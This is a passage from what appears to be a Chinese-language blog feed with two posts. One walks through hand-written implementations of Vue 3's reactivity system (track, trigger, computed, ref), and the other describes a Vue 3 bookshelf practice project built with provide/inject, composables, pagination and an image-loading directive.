const res = Reflect.get(target, key, reaciver) // 相当于 target[key];
if (typeof key === 'symbol') return res // 不对 symbol 类型做处理
console.log(`4、进入 ${key} => getter 访问器`)
track(target, key)
if (isObject(res)) return reactive(res) // 如果是对象,进行递归代理
return res
}
}
在 getter
访问器里面,track
会收集当前属性所依赖的effect函数:
const targetMap = new WeakMap()
export function track(target, key) {
if (activeEffect == undefined) return
let depsMap = targetMap.get(target)
if (!depsMap) {
targetMap.set(target, (depsMap = new Map()))
}
let dep = depsMap.get(key)
if (!dep) {
depsMap.set(key, (dep = new Set()))
}
if (!dep.has(activeEffect)) {
dep.add(activeEffect)
activeEffect.deps.push(dep)
}
// targetMap = { target: { key: [effect, effect] } }
console.log(`5、${key} => 收集依赖:`, targetMap)
}
state.name
发生修改操作,进入到响应式属性的设置方法并触发trigger
更新方法:
function createSetter() {
return function set(target, key, value, receiver) {
const result = Reflect.set(target, key, value, receiver)
console.log(`6、${key} => 修改属性`)
trigger(target, TriggerType.set, key, value, oldValue)
return result
}
}
trigger
方法里面找到targetMap
对应的target.key
,获取当前响应式属性所在的effect函数并执行更新操作
export function trigger(target, type: TriggerType, key, value?, oldValue?) {
console.log(`8、${key} => 触发更新`)
const run = (effects=[]) => {
effects.forEach(effect=>{
console.log(`9、获取${key} => targetMap的effect执行`)
console.log('===== 进入key存储的effect =====')
effect();
})
}
if (key != void 0) {
run(depsMap.get(key))
}
}
控制台打印结果:
1、effect
2、保存当前effect函数到activeEffect
3、fn函数执行
4、进入 name => getter 访问器
5、name => 收集依赖: WeakMap {{…} => Map(1)}
6、name => 修改属性
7、name => 触发更新
8、获取name => targetMap的effect执行
===== 进入key存储的effect =====
1、effect
2、保存当前effect函数到activeEffect
3、fn函数执行
4、进入 name => getter 访问器
5、name => 收集依赖: WeakMap {{…} => Map(1)}
计算属性 computed
的使用:
<div id="app"></div>
<script src="/node_modules/@vue/reactivity/dist/reactivity.global.js"></script>
<script>
const { reactive, effect, computed } = VueReactivity
const state = reactive({ name: 'chenwl', age: 12 })
const birth_year = computed(() => {
return new Date().getFullYear() - state.age
})
effect(() => {
app.innerHTML = `${state.name} 出生于 ${birth_year.value} 年`
})
setTimeout(() => {
state.age++
}, 1000)
</script>
当 state.age
的值发生变化时,依赖于它的 birth_year
会重新执行计算属性。
通过打印 birth_year
可以在控制台看到它的值:
ComputedRefImpl = {
__v_isReadonly: true,
__v_isRef: true,
_dirty: true,
setter: ƒ,
effect: ƒ,
_value: 2008,
value: 2008,
}
默认计算属性的值被包装到了value属性上
新建 reactivity/computed.ts
并导出:
export function computed(getterOrOptions) {
let getter
let setter
if (isFunction(getterOrOptions)) {
getter = getterOrOptions
setter = () => console.warn('computed not set value')
} else {
getter = getterOrOptions.get
setter = getterOrOptions.set
}
}
computed
接收一个参数,这个参数可能是函数也可能是 {getter,setter}
对象,初始化函数并对参数进行判断。
通过上面 birth_year
的打印结果,可以发现计算属性返回的是一个 ComputedRefImpl
实例,所以声明 ComputedRefImpl
类:
import { effect } from './effect.ts'
class ComputedRefImpl {
public effect
constructor(getter, setter) {
// 默认 getter 执行时会依赖于 effect(计算属性默认是effect)
this.effect = effect(getter, {
lazy: true, // 默认初始化不执行
})
}
}
export function computed(getterOrOptions) {
let getter
let setter
if (isFunction(getterOrOptions)) {
getter = getterOrOptions
setter = () => console.log('computed not set value')
} else {
getter = getterOrOptions.get
setter = getterOrOptions.set
}
return new ComputedRefImpl(getter, setter)
}
声明 ComputedRefImpl
类的公共属性和value
属性的访问器 get
和设置 set
:
import { effect, track } from './effect.ts'
class ComputedRefImpl {
public effect
public __v_isReadonly = true
public __v_isRef = true // 判断是否直接返回 value 值
public _dirty = true // 缓存数据
private _value
constructor(getter, public setter) {
// 默认 getter 执行时会依赖于 effect(计算属性默认是effect)
this.effect = effect(getter, {
lazy: true,
})
}
get value() {
// 当计算属性执行时,收集计算属性的 effect
this._value = this.effect()
return this._value
}
set value(newValue) {
this.setter(newValue)
}
}
分析
计算属性里面的响应式属性一旦被修改,需要通知计算属性所在的effect函数做出更新操作:
如下,计算属性 birth_year
里面包含响应式属性 state.age
:
const birth_year = computed(()=>{
return new Date().getFullYear() - state.age
})
当state.age
做出修改操作:
setTimeout(() => {
state.age++
}, 1000);
通知birth_year
所在的effect
函数做出更新操作:
effect(() => {
app.innerHTML = `出生于 ${birth_year.value} 年`
})
逻辑实现:
1、首先第一个 effect 方法开始执行,产生 activeEffect
并存储在 stackEffects
数组中:
const stackEffects = [activeEffect]
这里的 activeEffect
等于下面的方法:
effect1 = () => {
app.innerHTML = `出生于 ${birth_year.value} 年`
}
也就是:
const stackEffects = [effect1]
2、接下来会进入计算属性 birth_year
的访问器 value
方法,需要返回计算属性的执行结果:
get value(){
return new Date().getFullYear() - state.age
}
为了记录当前计算属性所依赖的 effect
函数,修改ComputedRefImpl
如下:
private _value;
constructor(getter, public setter) {
this.effect = effect(getter, {lazy: true})
}
get value() {
this._value = this.effect()
return this._value
}
effect
方法的执行存储了当前计算属性所在的 activeEffect
,现在stackEffects
数组保存了两个 activeEffect
:
const stackEffects = [effect1,effect2]
effect2
实际上是计算属性的方法:
effect2 = ()=>{
return new Date().getFullYear() - state.age
}
第一个 activeEffect 来自更新内容的 effect 函数,第二个 activeEffect 来自 computed
3、this.effect()
方法执行后,进入到state.age
属性访问器进行依赖收集,这里通过targetMap
映射表会将state.age
和 activeEffect
进行关联:
targetMap = {state: { age: effect2 } }
4、关联后的 state.age
的发生更新操作,触发 effect2
函数的重新执行,下面是 effect1
和 effect2
对应的函数:
effect1 = () => app.innerHTML = `出生于 ${birth_year.value} 年`;
effect2 = ()=> new Date().getFullYear() - state.age;
5、计算属性期望的是 state.age
的更新能够触发 effect1
的重新执行,所以在获取计算属性时,需要进行依赖收集:
get value() {
this._value = this.effect()
+ track(this, 'value')
return this._value
}
track
的执行让 targetMap
里面映射表变成了下面这样:
const targetMap = {
state: { age: effect2 },
ComputedRefImpl: { value: effect1 }
}
6、为了让 state.age
的更新能够触发 effect1
的重新执行,修改构effect的options选项,新增scheduler
方法:
constructor(getter, public setter) {
this.effect = effect(getter, {
lazy: true, // lazy=true 默认不会执行
scheduler: () => {
trigger(this, TriggerType.set, 'value')
},
})
}
修改effect.ts
里面的 trigger
方法:
function trigger(){
...
const run = (effects=[]) => {
effects.forEach((effect) => {
if(effect.options.scheduler){
effect.options.scheduler(effect)
}else{
effect();
}
})
}
...
}
当 effect
有 scheduler
属性方法时,执行 scheduler
方法,也就是 state.age
的修改会执行下面的逻辑:
trigger(this, TriggerType.set, 'value')
这个触发更新等于触发了 effect1
方法的重新执行:
effect1 = () => app.innerHTML = `出生于 ${birth_year.value} 年`;
computed 的执行:
1、state.age
更新触发了 birth_year
的 computed effect 函数
2、computed effect
执行计算属性的 scheduler
方法
3、scheduler
触发了 birth_year.value
所在的 effect 函数更新
state.age => computed effect => scheduler => effect函数(birth_year.value)
完整的 computed
方法:
import { effect, track, trigger, TriggerType } from './effect.ts'
class ComputedRefImpl {
public effect
public __v_isReadonly = true
public __v_isRef = true // 判断是否直接返回 value 值
public _dirty = true // 缓存数据
private _value
constructor(getter, public setter) {
// 默认 getter 执行时会依赖于 effect(计算属性默认是effect)
this.effect = effect(getter, {
lazy: true,
+ scheduler: () => {
+ trigger(this, TriggerType.set, 'value')
+ },
})
}
get value() {
// 当计算属性执行时,收集计算属性的 effect
this._value = this.effect()
// 收集计算属性里面的依赖
+ track(this, 'value')
return this._value
}
set value(newValue) {
this.setter(newValue)
}
}
当修改跟计算属性没有关联的state.name
时,可以看到birth_year
的effect
也会被执行:
const { reactive, effect, computed } = VueReactivity
const state = reactive({ name: 'chenwl', age: 12 })
const birth_year = computed(() => {
+ console.log('computed execute')
return new Date().getFullYear() - state.age
})
effect(() => {
app.innerHTML = `${state.name} 出生于 ${birth_year.value} 年`
})
setTimeout(() => {
+ state.name = 'change'
}, 1000)
state.name
发生改变,控制台打印出 'computed execute'
当
state.name
所在的effect
函数执行时,birth_year.value
的属性访问器也会被触发,收集依赖并执行计算属性的effect
函数。
修改计算属性的value访问器,根据前面声明的公共属性this._dirty
,判断当前_dirty
(脏值)是否为 true
来决定是否收集依赖和重新获取新值:
get value() {
if (this._dirty) {
this._value = this.effect()
track(this, 'value')
this._dirty = false
}
return this._value
}
当scheduler
函数被执行时,说明值被修改,需要重新设置_dirty
:
constructor(getter, public setter) {
this.effect = effect(getter, {
lazy: true,
scheduler: () => {
+ this._dirty = true
trigger(this, TriggerType.set, 'value')
},
})
}
完整的 computed.ts
:
import { isFunction } from '../shared/index'
import { effect, track, trigger, TriggerType } from './effect'
class ComputedRefImpl {
public effect
public __v_isReadonly = true
public __v_isRef = true // 判断是否直接返回 value 值
public _dirty = true // 缓存数据
private _value
constructor(getter, public setter) {
this.effect = effect(getter, {
lazy: true, // lazy=true 默认不会执行
scheduler: () => {
this._dirty = true
trigger(this, TriggerType.set, 'value')
},
})
}
get value() {
if (this._dirty) {
this._value = this.effect()
track(this, 'value')
this._dirty = false
}
return this._value
}
set value(newValue) {
this.setter(newValue)
}
}
export function computed(getterOrOptions) {
let getter
let setter
if (isFunction(getterOrOptions)) {
getter = getterOrOptions
setter = () => console.log('computed not set value')
} else {
getter = getterOrOptions.get
setter = getterOrOptions.set
}
return new ComputedRefImpl(getter, setter)
}
ref的实现,判断传入值是不是对象,对象用reactive
包裹处理,获取值时收集依赖,设置值时触发更新
import { hasChanged, isObject } from "../shared/index";
import { track, trigger, TriggerType } from "./effect";
import { reactive } from "./reactive";
const convert = (val) => isObject(val) ? reactive(val) : val;
class RefImpl {
public readonly __v_isRef = true;
private _value;
constructor(private _rawValue){
this._value = convert(_rawValue)
}
get value(){
track(this,"value")
return this._value
}
set value(newValue){
if (hasChanged(newValue, this._rawValue)) {
this._rawValue = newValue;
this._value = convert(newValue);
trigger(this, TriggerType.set, "value");
}
}
}
export function ref(rawValue){
return new RefImpl(rawValue)
}
]]>Vue3 练手项目,为了加深对 composition-api
的理解,项目参考于 sl1673495/vue-bookshelf,不过这个项目还是基于 vue2+composition-api
,里面对于组合函数的使用和理解还是很有帮助的,这里用 Vue3
做了修改。
项目地址:vue-bookshelf
你需要在项目开始之前对 Vue3
的api有所了解,包括但不限于下面👇的api:
Vue3 中新增的一对api,provide
和 inject
,可以很方便的管理应用的全局状态,有兴趣可以参考下这篇文章:Vue 3 store without Vuex
官方文档对 Provide / Inject
的使用说明:Provide / Inject
利用这两个api,在没有vuex的情况下也可以很好的管理项目中的全局状态:
import { provide, inject } from 'vue'
const ThemeSymbol = Symbol()
const Ancestor = {
setup() {
provide(ThemeSymbol, 'dark')
}
}
const Descendent = {
setup() {
const theme = inject(ThemeSymbol, 'light' /* optional default value */)
return {
theme
}
}
}
项目很简单,主要逻辑如下:
项目基于 vue-cli
搭建:
项目基于 Provide/Inject
实现全局的图书状态管理,context/books.ts
包含两个组合函数:
useBookListProvide
提供书籍的全局状态管理和方法useBookListInject
书籍状态和方法注入(在需要的组件中使用)在main.ts中,根组件注入全局状态:
// main.ts
import { createApp, h } from 'vue'
import App from './App.vue'
import { useBookListProvide } from '@/context'
const app = createApp({
setup() {
useBookListProvide();
return () => h(App)
}
})
组件中使用:
import { defineComponent } from "vue";
import { useBookListInject } from "@/context";
import { useAsync } from "@/hooks";
import { getBooks } from "@/hacks/fetch";
export default defineComponent({
name: "books",
setup() {
// 注入全局状态
const { setBooks, booksAvaluable } = useBookListInject();
// 获取数据的异步组合函数
const loading = useAsync(async () => {
const requestBooks = await getBooks();
setBooks(requestBooks);
});
return {
booksAvaluable,
loading,
};
}
});
组合函数 useAsync
目的是管理异步方法前后loading状态:
import { onMounted, ref } from 'vue'
export const useAsync = (func: () => Promise<any>) => {
const loading = ref(false)
onMounted(async () => {
try {
loading.value = true
await func()
} catch (error) {
throw error
} finally {
loading.value = false
}
})
return loading
}
组件中使用:
<Books :books="booksAvaluable" :loading="loading"></Books>
对于分页这里使用组合函数 usePages
进行管理,目的是返回当前页的图书列表和分页组件所需的参数:
import { reactive, Ref, ref, watch } from 'vue'
export interface PageOption {
pageSize?: number
}
export function usePages<T>(watchCallback: () => T[], pageOption?: PageOption) {
const { pageSize = 10 } = pageOption || {}
const rawData = ref([]) as Ref<T[]>
const data = ref([]) as Ref<T[]>
const bindings = reactive({
current: 1,
currentChange: (currentPage: number) => {
data.value = sliceData(rawData.value, currentPage)
},
})
const sliceData = (rawData: T[], currentPage: number) => {
return rawData.slice((currentPage - 1) * pageSize, currentPage * pageSize)
}
watch(
watchCallback,
(value) => {
rawData.value = value
bindings.currentChange(1)
},
{
immediate: true,
}
)
return {
data,
bindings,
}
}
基于 composition-api
可以很方便的将统一的逻辑进行拆分,例如分页块的逻辑,很可能在其它的业务模块中使用,所以统一拆分到了hooks
文件夹下。
这里简单实现了分页插件,参考 element-plus/pagination 的分页组件。
<Pagination
class="pagination"
:total="books.length"
:page-size="pageSize"
:hide-on-single-page="true"
v-model:current-page="bindings.current"
@current-change="bindings.currentChange"
/>
Vue3 可以实现在组件上使用多个 v-model
进行双向数据绑定,让 v-model
的使用更加灵活,详情可查看官方文档 v-model。
项目中的分页组件也使用了v-model:current-page
的方式进行传参。
vue3 的指令也做了更新: 官方文档-directives
主要是生命周期函数的变化:
const MyDirective = {
beforeMount(el, binding, vnode, prevVnode) {},
mounted() {},
beforeUpdate() {}, // new
updated() {},
beforeUnmount() {}, // new
unmounted() {}
}
项目中的指令主要是针对图片src做处理,directives/load-img-src.ts
:
// 图片加载指令,使用 ![](默认路径)
// 图片加载失败路径
const errorURL =
'https://imgservices-1252317822.image.myqcloud.com/image/20201015/45prvdakqe.svg'
const loadImgSrc = {
beforeMount(el: HTMLImageElement, binding: { value: string }) {
const imgURL = binding.value || ''
const img = new Image()
img.src = imgURL
img.onload = () => {
if (img.complete) {
el.src = imgURL
}
}
img.onerror = () => (el.src = errorURL)
},
}
]]>